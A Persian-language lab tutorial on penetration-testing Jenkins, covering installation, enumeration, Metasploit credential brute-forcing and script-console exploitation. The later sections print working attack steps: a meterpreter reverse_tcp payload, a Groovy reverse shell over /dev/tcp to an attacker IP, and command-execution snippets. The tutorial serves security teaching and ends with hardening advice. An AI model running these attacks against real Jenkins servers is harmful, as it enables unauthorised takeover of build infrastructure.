تست نفوذ Jenkins
تست نفوذ Jenkins برای شناسایی آسیبپذیریهای امنیتی در Jenkins ضروری است. Jenkins یک سرور اتوماسیون متنباز است که برای پیادهسازی پیوسته (Continuous Integration – CI) و تحویل پیوسته (Continuous Delivery – CD) استفاده میشود. این ابزار که بر پایه زبان برنامهنویسی جاوا ساخته شده است، از یک پلتفرم اسکریپتنویسی بهره میبرد تا وظایفی مانند ساخت، تست و استقرار در چرخه عمر توسعه نرمافزار را به صورت خودکار انجام دهد. این خودکارسازی موجب تسریع چرخههای توسعه، بهبود کیفیت کد و بهینهسازی فرآیند انتشار نرمافزار میشود.
از جمله ویژگیهای کلیدی Jenkins میتوان به موارد زیر اشاره کرد:
- ایجاد pipelines CI/CD برای اتوماسیون کامل فرآیندهای توسعه و انتشار،
- اجرای خودکار تستها برای اطمینان از کیفیت نرمافزار،
- ادغام با سیستمهای کنترل نسخه مانند Git،
- قابلیت توسعه و سفارشیسازی از طریق افزونهها
- و امکانات پیشرفته نظارت و گزارشگیری
فهرست مطالب
- راهاندازی آزمایشگاه
- نصب نرمافزار
- پیکربندی
- شناسایی
- بهرهبرداری با استفاده از فریمورک Metasploit
- بهرهبرداری دستی (Reverse Shell)
- اجرای مستقیم دستورات شِل
- جمعبندی
راهاندازی محیط آزمایشگاهی
در این مقاله، قصد داریم سرور Jenkins را بر روی یک ماشین مجازی با سیستمعامل Ubuntu راهاندازی کرده و سپس با بهرهبرداری از آن، اجرای کد از راه دور (Remote Code Execution – RCE) را بهدست آوریم. این فرآیند بهمنظور شبیهسازی یک سناریوی واقعی تست نفوذ انجام میشود که در آن مهاجم قادر است با استفاده از یک آسیبپذیری موجود در Jenkins، کنترل جزئی یا کامل بر سیستم هدف پیدا کند.
محیط آزمایشگاهی مورد استفاده شامل دو ماشین مجازی با نقشهای مشخص و آدرسهای IP ثابت است:
- ماشین هدف (Target Machine):
سیستمعامل: Ubuntu
آدرس IP: 192.168.1.4
این ماشین میزبان سرویس Jenkins خواهد بود که در ادامه مراحل نصب و پیکربندی آن توضیح داده خواهد شد. - ماشین مهاجم (Attacker Machine):
سیستمعامل: Kali Linux
آدرس IP: 192.168.1.7
این سیستم بهعنوان ایستگاه تست نفوذ عمل میکند و از ابزارهایی مانند Metasploit Framework برای انجام بهرهبرداری استفاده خواهد شد.
در ادامه، مراحل نصب، پیکربندی، شناسایی آسیبپذیری و بهرهبرداری از Jenkins بهصورت گامبهگام ارائه خواهد شد. تمامی فعالیتها در یک محیط ایزوله و آزمایشی انجام میشوند و صرفاً جهت اهداف آموزشی و پژوهشی هستند.
نصب
برای آنکه Jenkins بتواند بهدرستی اجرا شود، وجود Java Runtime Environment (JRE) بر روی سیستم الزامی است. Jenkins بهعنوان یک برنامه مبتنی بر Java، برای اجرای صحیح خود نیاز دارد که محیط اجرایی Java در سیستم میزبان فعال باشد.
در این راهنما، ما از نسخه متنباز Java با نام OpenJDK برای راهاندازی این محیط استفاده خواهیم کرد. OpenJDK یک پیادهسازی رایگان و متنباز از پلتفرم Java Standard Edition است که بهصورت رسمی توسط جامعه توسعهدهندگان Java پشتیبانی میشود. این بسته شامل مجموعهای از ابزارهای توسعه (JDK) است که Java Runtime Environment (JRE) را نیز بهطور کامل در دل خود جای داده است؛ بنابراین با نصب OpenJDK، نیازی به نصب جداگانه JRE نخواهیم داشت.
apt install openjdk-11-jdk
در برخی موارد، مخزن پیشفرض Ubuntu ممکن است نسخهی بهروز Jenkins را شامل نشود. این مسئله میتواند منجر به نصب نسخههایی شود که فاقد برخی قابلیتهای جدید یا بهروزرسانیهای امنیتی مهم هستند. از این رو، توصیه میشود بهجای استفاده از مخازن پیشفرض، از مخزن رسمی پروژه Jenkins که توسط توسعهدهندگان آن نگهداری میشود استفاده گردد. این کار اطمینان حاصل میکند که آخرین نسخههای پایدار و دارای وصلههای امنیتی به سیستم منتقل شوند.
برای افزودن مخزن Jenkins به سیستمعامل Ubuntu، مراحل زیر باید بهدقت دنبال شوند:
- وارد کردن کلید GPG برای تأیید اعتبار بستهها
پیش از افزودن خودِ مخزن، لازم است کلید عمومی GPG مربوط به Jenkins به سیستم معرفی شود. این کلید برای تأیید اصالت بستههایی که از طریق این مخزن نصب میشوند مورد استفاده قرار میگیرد و تضمین میکند که فایلها در حین انتقال دچار تغییر یا دستکاری نشدهاند.
این مرحله از لحاظ امنیتی اهمیت بالایی دارد، زیرا بدون تأیید امضای دیجیتال بستهها، امکان نصب نرمافزارهای جعلی یا دستکاریشده وجود دارد که میتواند کل سیستم را در معرض خطر قرار دهد.
sudo curl -fsSL https://pkg.jenkins.io/debian-stable/jenkins.io-2023.key | sudo tee /usr/share/keyrings/jenkins-keyring.asc > /dev/null
- افزودن مخزن Jenkins و ثبت کلید تأیید در فهرست منابع سیستم
پس از اطمینان از وارد شدن موفق کلید GPG، لازم است منبع Jenkins را به فایلهای پیکربندی APT اضافه کنیم. این کار باعث میشود ابزار مدیریت بستهی Ubuntu (یعنی apt) بتواند به این مخزن دسترسی داشته و بستههای Jenkins را از آن بارگیری نماید.
sudo echo deb [signed-by=/usr/share/keyrings/jenkins-keyring.asc] https://pkg.jenkins.io/debian-stable binary/ | sudo tee /etc/apt/sources.list.d/jenkins.list > /dev/null
در این مرحله، پس از افزودن کلید GPG و تنظیم مخزن رسمی Jenkins، سیستم Ubuntu آماده نصب Jenkins است. حال میتوانیم با استفاده از ابزار مدیریت بستهی APT، فرآیند نصب را آغاز کنیم.
apt install jenkins
پس از اتمام فرآیند نصب، سرویس Jenkins بهصورت پیشفرض بهطور خودکار راهاندازی میشود. با این حال، در صورتی که سرویس به هر دلیل فعال نشده باشد یا نیاز به راهاندازی مجدد آن وجود داشته باشد، میتوان با استفاده از دستور زیر، Jenkins را بهصورت دستی اجرا کرد:
systemctl start jenkins
برای اطمینان از اینکه Jenkins بهدرستی فعال شده و در حال اجرا است، میتوان وضعیت سرویس را با دستور زیر بررسی کرد:
systemctl status Jenkins
در خروجی این دستور، وضعیت جاری سرویس (مانند active، running یا failed) نمایش داده میشود و میتوان مطمئن شد که Jenkins بدون خطا در حال اجرا است.
در صورت تمایل، میتوان Jenkins را طوری پیکربندی کرد که بهصورت خودکار با هر بار راهاندازی سیستم، بهطور دائم اجرا شود. برای این منظور، از دستور زیر استفاده میکنیم:
systemctl enable Jenkins
با اجرای این دستور، سرویس Jenkins به فهرست سرویسهایی افزوده میشود که در هنگام بوت سیستم بهصورت خودکار اجرا میشوند.
پیکربندی
پس از اتمام فرآیند نصب، میتوان Jenkins را برای اجرای پایدار و بدون مشکل پیکربندی کرد. در این مرحله، بررسی سرویس فعال روی پورت پیشفرض Jenkins یعنی پورت ۸۰۸۰ اهمیت دارد. Jenkins بهصورت پیشفرض از این پورت برای ارائه رابط کاربری تحت وب خود استفاده میکند.
برای اطمینان از اجرای صحیح سرویس، میتوان با استفاده از دستور زیر وضعیت پورت ۸۰۸۰ را بررسی کرد:
sudo netstat -tuln | grep 8080
یا در صورت عدم نصب netstat، میتوان از ss استفاده نمود:
sudo ss -tuln | grep 8080
در صورت مشاهده وضعیت LISTEN برای پورت ۸۰۸۰، به این معناست که Jenkins با موفقیت راهاندازی شده و آماده دریافت درخواستها از طریق مرورگر است.
پس از دسترسی به آدرس زیر در مرورگر:
http://<server-ip>:8080
صفحهای ظاهر خواهد شد که از کاربر درخواست وارد کردن رمز عبور مدیر سیستم (Administrator Password) مینماید. این رمز برای جلوگیری از دسترسیهای غیرمجاز به محیط مدیریتی Jenkins در نظر گرفته شده است و در زمان نصب بهصورت خودکار تولید شده و در فایل زیر ذخیره میشود:
/var/lib/jenkins/secrets/initialAdminPassword
برای مشاهده این رمز، دستور زیر در ترمینال اجرا میشود:
sudo cat /var/lib/jenkins/secrets/initialAdminPassword
رمز نمایش داده شده را در صفحه وب Jenkins وارد کرده و فرآیند راهاندازی اولیه را ادامه دهید. این مرحله بخشی از فرایند ایمنسازی Jenkins است و پیشنیاز انجام تنظیمات مدیریتی بعدی، از جمله نصب افزونهها و ایجاد حساب کاربری دائمی مدیر سیستم محسوب میشود.
انتخاب افزونهها و سفارشیسازی Jenkins
پس از وارد کردن رمز عبور مدیر سیستم (Administrator Password) و تأیید دسترسی، Jenkins شما را به مرحلهای هدایت میکند که در آن میتوان افزونهها (Plugins) را نصب کرده و محیط Jenkins را متناسب با نیاز پروژه یا سازمان، سفارشیسازی کرد.
در این مرحله، دو گزینه اصلی برای نصب افزونهها ارائه میشود:
- Install suggested plugins (نصب افزونههای پیشنهادی)
این گزینه به صورت خودکار مجموعهای از افزونههای ضروری و پرکاربرد را که توسط تیم توسعه Jenkins پیشنهاد شدهاند، نصب میکند. این افزونهها معمولاً شامل مواردی مانند Git، Pipeline، SSH Agent، Build Timeout، و غیره هستند که برای اغلب پروژههای DevOps و CI/CD مورد نیاز خواهند بود. - Select plugins to install (انتخاب دستی افزونهها)
این گزینه به کاربر اجازه میدهد تا بهصورت دستی افزونههای مورد نظر خود را انتخاب و نصب نماید. این حالت بیشتر برای کاربران پیشرفتهای توصیه میشود که قصد دارند Jenkins را بهصورت خاص و سفارشیشده تنظیم کنند.
برای اهداف این راهنما و بهمنظور راهاندازی سریع و استاندارد Jenkins، گزینه Install suggested plugins را انتخاب کرده و فرآیند نصب افزونهها را آغاز میکنیم.
Jenkins در این مرحله بهطور خودکار دانلود و نصب افزونهها را آغاز میکند. مدت زمان این فرآیند بسته به سرعت اینترنت و توان پردازشی سیستم ممکن است چند دقیقه طول بکشد. در طول نصب، وضعیت هر افزونه به صورت زنده نمایش داده میشود و پس از اتمام موفقیتآمیز، به مرحله بعدی راهاندازی هدایت خواهید شد.
ایجاد اولین حساب کاربری مدیر سیستم (First Admin User)
در آخرین مرحله از فرآیند پیکربندی اولیه Jenkins، نیاز است که یک حساب کاربری مدیریتی ایجاد شود. این حساب بهعنوان مدیر اصلی (Admin) سامانه شناخته میشود و در آینده برای ورود به داشبورد Jenkins و انجام تمامی فعالیتهای مدیریتی، مانند تعریف pipeline، نصب افزونههای جدید، تنظیم دسترسی کاربران دیگر و مدیریت پروژهها مورد استفاده قرار خواهد گرفت.
Jenkins فرم زیر را برای ایجاد این حساب نمایش میدهد که شامل فیلدهای زیر است:
- Username (نام کاربری)
- Password (رمز عبور)
- Confirm password (تأیید رمز عبور)
- Full name (نام کامل)
- Email address (آدرس ایمیل)
در این راهاندازی، بهعنوان نمونه، ما از اطلاعات زیر برای ایجاد کاربر استفاده میکنیم:
- Username: raj
- Password: 123
توجه داشته باشید که برای استفاده واقعی و محیطهای تولیدی (Production)، انتخاب رمز عبور قوی و پیچیده الزامی است تا از حملات احتمالی جلوگیری شود. استفاده از رمز عبور ساده مانند “۱۲۳” صرفاً برای محیط آزمایشگاهی یا آموزشی توصیه میشود.
پس از وارد کردن اطلاعات و کلیک بر روی گزینهی Save and Continue، حساب کاربری ایجاد شده و Jenkins به مرحله نهایی هدایت میشود که در آن میتوانید نام سرور (Instance Name) را مشخص کرده یا از مقدار پیشفرض استفاده کنید.
با اتمام این مرحله، محیط Jenkins بهطور کامل راهاندازی شده و رابط کاربری آن در دسترس خواهد بود. اکنون میتوان از داشبورد Jenkins برای تعریف پروژهها و عملیات CI/CD بهرهبرداری کرد.
دسترسی نهایی به رابط وب Jenkins
در پایان مراحل نصب و پیکربندی اولیه، اکنون میتوان به رابط کاربری Jenkins دسترسی پیدا کرد. از آنجا که قصد داریم Jenkins را مستقیماً روی ماشین محلی Ubuntu اجرا کنیم، آدرس دسترسی به صورت localhost تنظیم خواهد شد.
برای این منظور، مرورگر وب را باز کرده و آدرس زیر را وارد میکنیم:
http://127.0.0.1:8080/
در این آدرس:
- ۱۲۷٫۰٫۰٫۱ نشاندهنده localhost است، یعنی خود سیستم Ubuntu که Jenkins روی آن نصب شده است.
- پورت ۸۰۸۰ پورت پیشفرضی است که Jenkins پس از نصب برای ارائه رابط وب از آن استفاده میکند.
پس از وارد کردن این آدرس، رابط گرافیکی Jenkins بارگذاری شده و داشبورد مدیریتی نمایش داده میشود. از این نقطه به بعد، میتوان پروژههای جدید ایجاد کرد، pipeline تعریف نمود، افزونهها را مدیریت کرد و فرآیندهای اتوماسیون DevOps را از طریق Jenkins بهصورت کامل پیادهسازی کرد.
در صورتی که Jenkins بر روی یک سرور از راه دور نصب شده باشد، بهجای ۱۲۷٫۰٫۰٫۱ باید از آدرس IP آن سرور استفاده شود (مانند: http://192.168.1.4:8080).
Enumeration (شناسایی و جمعآوری اطلاعات)
مرحله Enumeration یا شناسایی اولیه، یکی از کلیدیترین بخشها در فرآیند تست نفوذ به شمار میرود. در این مرحله، مهاجم یا تحلیلگر امنیتی با بررسی دقیق سرویسها و پیکربندیهای سیستم هدف، اطلاعات حساس و ارزشمندی را بهدست میآورد که میتواند در مراحل بعدی (نظیر بهرهبرداری یا Exploitation) مورد استفاده قرار گیرد.
در سناریوی حاضر، هدف ما بررسی سرویس Jenkins نصبشده روی ماشین Ubuntu است تا مشخص شود آیا پیکربندیهای پیشفرض یا اشتباهات امنیتی خاصی وجود دارند که بتوان از آنها سوءاستفاده کرد.
- بررسی نسخه Jenkins
یکی از اولین اقداماتی که باید انجام داد، شناسایی نسخه دقیق Jenkins است. نسخههای خاصی از Jenkins ممکن است دارای آسیبپذیریهای شناختهشده باشند که در پایگاههای داده مانند CVE ثبت شدهاند.
با مراجعه به صفحه ورود یا داشبورد Jenkins، معمولاً نسخه در پایین صفحه درج شده است. همچنین، در صورت فعال بودن حالت ناشناس (Anonymous Access)، ممکن است نسخه از طریق HTTP header یا فایلهای متنی نظیر /about, /login, یا /api نیز قابل بازیابی باشد.
برای مشاهده نسخه Jenkins از طریق مرورگر:
http://127.0.0.1:8080/login
در پایین این صفحه ممکن است نسخه بهصورت زیر نمایش داده شود:
Jenkins ver. 2.x.x
همچنین با استفاده از curl نیز میتوان این اطلاعات را واکشی کرد:
curl -I http://127.0.0.1:8080
- بررسی دسترسی ناشناس (Anonymous Access)
در برخی موارد، Jenkins بهصورت پیشفرض اجازه دسترسی به کاربران ناشناس را میدهد. این دسترسی میتواند شامل مشاهده pipelineها، مرور pluginها، یا حتی اجرای برخی اسکریپتها باشد. برای بررسی این موضوع، بدون وارد کردن هیچ حساب کاربری، مستقیماً آدرس Jenkins را در مرورگر باز میکنیم:
http://127.0.0.1:8080
اگر داشبورد یا بخشهایی از آن بدون احراز هویت قابل مشاهده بود، نشاندهنده فعال بودن دسترسی ناشناس و احتمالاً ضعف پیکربندی امنیتی است.
- بررسی صفحات و مسیرهای مهم Jenkins
در این مرحله، مسیرهای مهم Jenkins بررسی میشوند تا مشخص شود چه دادههایی بدون احراز هویت قابل مشاهده یا استخراج هستند. برخی از مسیرهای مهم عبارتند از:
- /script — رابط اجرای مستقیم Groovy Script
- /scriptText — اجرای اسکریپت بهصورت متنی
- /manage — داشبورد مدیریتی
- /view/All/ — مشاهده تمامی Jobها
- /user/ — اطلاعات کاربران ثبتنامشده
در صورتی که این مسیرها بدون احراز هویت در دسترس باشند، نشاندهندهی وجود نقص امنیتی است که میتواند زمینهساز بهرهبرداری شود.
- بررسی فایلهای عمومی یا شاخصهای متنی
در برخی مواقع، Jenkins ممکن است فایلهایی مانند config.xml, credentials.xml, یا سایر فایلهای پیکربندی را در معرض مشاهده عمومی قرار دهد. این فایلها گاهی شامل اطلاعات حساس نظیر توکنهای API، رمزهای عبور رمزنگاریشده یا حتی بهصورت plaintext هستند.
میتوان از ابزارهای خودکار مانند dirb, gobuster یا feroxbuster برای کشف این مسیرها استفاده کرد:
gobuster dir -u http://127.0.0.1:8080 -w /usr/share/wordlists/dirb/common.txt
بهرهبرداری با استفاده از Metasploit Framework
استفاده از ماژول Auxiliary برای یافتن اعتبارنامههای معتبر
از آنجایی که صفحه ورود به Jenkins نیازمند احراز هویت با نام کاربری و رمز عبور است، در صورتی که اعتبارنامههای ورود را در اختیار نداشته باشیم، میتوان از قابلیتهای کمکی (Auxiliary) موجود در Metasploit Framework برای یافتن این اطلاعات بهره گرفت.
Metasploit دارای ماژولی به نام scanner/http/jenkins_login است که با استفاده از لیستهای نام کاربری و رمز عبور، اقدام به انجام حمله Brute Force یا Dictionary Attack بر روی فرم ورود Jenkins مینماید.
این روش در محیطهای CTF و یا تست نفوذ کاربردی بوده و بهویژه زمانی مفید است که دسترسی ناشناس (Anonymous Access) غیر فعال شده و هیچ مسیر عمومی در دسترس نیست.
انتخاب فایلهای واژهنامه
برای اجرای این حمله، دو فایل مورد نیاز است:
- فایل نام کاربری: که میتواند لیستی از نامهای کاربری رایج باشد (مانند SecLists/Usernames/names.txt)
- فایل رمز عبور: که معمولاً از فایل معروف rockyou.txt استفاده میشود
با این حال، به منظور سرعتبخشیدن به فرآیند اسکن در این سناریو، از واژهنامهی سفارشی (Custom Dictionary) استفاده میکنیم که تنها شامل چند مقدار هدفمند است.
اجرای ماژول در Metasploit
برای شروع، ابتدا وارد Metasploit شده و ماژول مورد نظر را بارگذاری میکنیم:
msfconsole use auxiliary/scanner/http/jenkins_login
اکنون تنظیمات زیر را اعمال میکنیم:
set RHOSTS 192.168.1.4 set RPORT 8080 set USER_FILE /path/to/usernames.txt set PASS_FILE /path/to/passwords.txt set TARGETURI /
در این دستورات:
- RHOSTS آدرس IP سرور Jenkins
- RPORT پورت Jenkins (معمولاً ۸۰۸۰)
- USER_FILE مسیر فایل لیست نامهای کاربری
- PASS_FILE مسیر فایل رمزهای عبور
- TARGETURI مسیر پایه Jenkins، که معمولاً بهصورت / باقی میماند
در صورتی که لیستها در مسیر /usr/share/wordlists/ قرار داشته باشند، مسیرها به صورت زیر خواهند بود:
set USER_FILE /usr/share/wordlists/custom_users.txt set PASS_FILE /usr/share/wordlists/custom_pass.txt
در پایان، برای شروع عملیات اسکن، دستور زیر را اجرا میکنیم:
run
در صورت یافتن ترکیب معتبر نام کاربری و رمز عبور، خروجی مانند نمونه زیر خواهد بود:
[+] ۱۹۲٫۱۶۸٫۱٫۴:۸۰۸۰ - SUCCESSFUL LOGIN raj:123
اکنون با در اختیار داشتن اطلاعات ورود معتبر، میتوان وارد رابط Jenkins شده و مراحل بهرهبرداری را ادامه داد.
بهرهبرداری با استفاده از اعتبارنامههای کشفشده
پس از اجرای موفقیتآمیز حمله دیکشنری و کشف اطلاعات معتبر ورود، اکنون میتوان با استفاده از این نام کاربری و رمز عبور شناساییشده به سیستم Jenkins لاگین کرده و از آسیبپذیری موجود بهرهبرداری کرد.
در این مرحله، از ماژول اکسپلویت exploit/multi/http/jenkins_script_console در Metasploit Framework استفاده میکنیم. این ماژول امکان اجرای دستورات مخرب در Script Console سرویس Jenkins را فراهم میسازد که در صورت پیکربندی ناصحیح، میتواند منجر به اجرای کد از راه دور (RCE) گردد.
use exploit/multi/http/jenkins_script_console show targets set target 1 set payload linux/x64/meterpreter/reverse_tcp set rhosts 192.168.1.4 set rport 8080 set targeturi / set username raj set password 123 exploit
اکنون مهاجم میتواند بهطور کامل با سیستم هدف تعامل داشته باشد، دستورات را اجرا کند، فایلها را مشاهده و استخراج نماید و در صورت نیاز، برای حفظ دسترسی خود اقدامات لازم را انجام دهد.
بهرهبرداری دستی (Reverse Shell)
در صورتی که مهاجم موفق به بهدست آوردن نام کاربری و رمز عبور Jenkins شود — چه از طریق حملات Brute Force و چه با استفاده از آسیبپذیریهای دیگر — میتواند بدون نیاز به ابزارهایی مانند Metasploit، بهصورت دستی اقدام به بهرهبرداری از Jenkins نماید.
هدف در این مرحله، اجرای کد مخرب از طریق Script Console در پنل مدیریتی Jenkins و دریافت یک reverse shell روی سیستم مهاجم است.
استفاده از Groovy در تست نفوذ Jenkins
در فرآیند تست نفوذ Jenkins، زبان اسکریپتنویسی اصلی برای تعریف Jobها و Pipelineها، زبان Groovy است. این زبان بهدلیل پویا بودن و اجرا روی ماشین مجازی جاوا (JVM)، کاملاً با معماری جاوا-محور Jenkins سازگار بوده و امکان اجرای اسکریپتهای پیچیده را بهصورت مستقیم فراهم میکند.
به همین دلیل، برای دستیابی به reverse shell روی سرور Jenkins، از اسکریپت معکوس Groovy استفاده خواهیم کرد که توسط مهاجم اجرا میشود.
منبع اسکریپت reverse shell Groovy
اسکریپت Groovy برای راهاندازی reverse shell را میتوان از وبسایت معتبر revshells.com دریافت کرد. در این سایت، کافی است زبان Groovy را به عنوان نوع payload انتخاب نمایید تا نمونههای آماده اسکریپت مربوطه نمایش داده شود.
این اسکریپتها با استفاده از امکانات داخلی JVM و Groovy، یک اتصال معکوس به ماشین مهاجم برقرار کرده و امکان اجرای دستورات را فراهم میکنند.
با استفاده از این اسکریپتها، میتوان بدون نیاز به ابزارهای جانبی، کنترل کامل سرور Jenkins را از راه دور در اختیار گرفت.
اجرای اسکریپت Reverse Shell در کنسول اسکریپت Jenkins
در این مرحله، از اسکریپت Groovy مربوط به reverse shell در کنسول اسکریپت Jenkins استفاده میشود. پیش از اجرای این اسکریپت، لازم است یک شنونده (listener) بر روی پورت ۴۴۳ در ماشین Kali راهاندازی شود. برای این منظور، میتوان از ابزار Netcat استفاده کرد. دستور زیر را در ترمینال Kali اجرا کنید:
rlwrap nc -lnvp 443
برقراری Reverse Shell
در نهایت، پس از اجرای اسکریپت Groovy در کنسول اسکریپت Jenkins، اتصال reverse shell با موفقیت برقرار شده و ارتباط برگشتی از سوی سرور Jenkins به ماشین Kali در پورت ۴۴۳ برقرار میشود. این اتصال به مهاجم امکان میدهد تا دسترسی مستقیم به محیط سیستمعامل میزبان Jenkins داشته باشد و دستورات دلخواه را اجرا کند.
روش جایگزین برای دریافت Reverse Shell
روش جایگزینی برای دریافت reverse shell، اجرای اسکریپت زیر در کنسول اسکریپت Jenkins است. این اسکریپت نیز مشابه روش قبلی، با ایجاد یک اتصال برگشتی از سرور Jenkins به ماشین مهاجم، امکان دسترسی از راه دور به سیستم هدف را فراهم میکند:
r = Runtime.getRuntime() p = r.exec(["/bin/bash", "-c", "exec 5<>/dev/tcp/192.168.1.7/443; cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
پیش از اجرای این اسکریپت نیز، باید اطمینان حاصل شود که شنونده (listener) در پورت مشخصشده (مثلاً ۴۴۳) روی ماشین Kali فعال است تا اتصال ورودی را دریافت کند.
پس از اجرای اسکریپت در کنسول اسکریپت Jenkins، میتوان مشاهده کرد که اتصال reverse shell با موفقیت در پورت ۴۴۳ برقرار شده است. این موضوع از طریق ترمینال ماشین Kali که در حال شنود بر روی این پورت است، قابل تأیید میباشد. دریافت این اتصال نشاندهنده موفقیتآمیز بودن بهرهبرداری از آسیبپذیری و اجرای کد از راه دور (RCE) در محیط Jenkins است.
اجرای مستقیم دستورات شِل
در برخی موارد، امکان راهاندازی شنونده (listener) برای دریافت reverse shell وجود ندارد. در چنین شرایطی میتوان بهصورت مستقیم اسکریپت را از طریق کنسول اسکریپت Jenkins اجرا کرده و خروجی حاصل از اجرای دستورات را در بخش Result مشاهده نمود.
برای این منظور میتوان از کد زیر استفاده کرد که خروجی دستورات سیستمعامل را نمایش میدهد:
def sout = new StringBuffer(), serr = new StringBuffer() def proc = 'ipconfig'.execute() proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr"
پس از اجرای اسکریپت، خروجی دستور اجراشده مستقیماً در پنجره Result کنسول اسکریپت Jenkins نمایش داده میشود. این امکان، به مهاجم اجازه میدهد بدون نیاز به برقراری reverse shell، نتیجه دستورات سیستمعامل را بهصورت آنی مشاهده کند.
کد مشابهی که میتوان از آن برای اجرای دستورات سیستمعامل و مشاهده خروجی در پنجره Result استفاده کرد به شرح زیر است:
def proc = "id".execute(); def os = new StringBuffer(); proc.waitForProcessOutput(os, System.err); println(os.toString());
همانطور که مشاهده میشود، پس از اجرای اسکریپت، خروجی دستور اجراشده بهصورت مستقیم در پنجره Result قابل مشاهده است. این قابلیت به کاربر (یا مهاجم) اجازه میدهد تا بدون نیاز به ارتباط برگشتی (reverse shell)، نتایج اجرای دستورات سیستمعامل را در لحظه بررسی کند.
نتیجهگیری
تست نفوذ Jenkins یکی از بخشهای حیاتی در ارزیابی امنیتی زیرساختهای DevOps محسوب میشود. با توجه به اینکه Jenkins اغلب دارای دسترسیهای بالا و نقش کلیدی در چرخه CI/CD است، بهرهبرداری از آسیبپذیریهای آن میتواند منجر به دسترسی غیرمجاز، اجرای دستورات دلخواه و حتی کنترل کامل بر سرور هدف شود.
در این مقاله، روشهایی برای دریافت reverse shell از طریق کنسول اسکریپت Jenkins بررسی شد. همچنین مشاهده شد که در صورت عدم امکان برقراری اتصال برگشتی، میتوان با اجرای مستقیم دستورات و مشاهده خروجی در پنجره Result نیز به اهداف مشابهی دست یافت.
از این رو، ایمنسازی Jenkins و محدودسازی دسترسی به کنسول اسکریپت، نظارت بر فعالیتها، استفاده از احراز هویت چندمرحلهای و بهروزرسانی منظم افزونهها و هسته Jenkins از جمله اقدامات ضروری برای جلوگیری از حملات مبتنی بر اجرای کد از راه دور (RCE) به شمار میروند.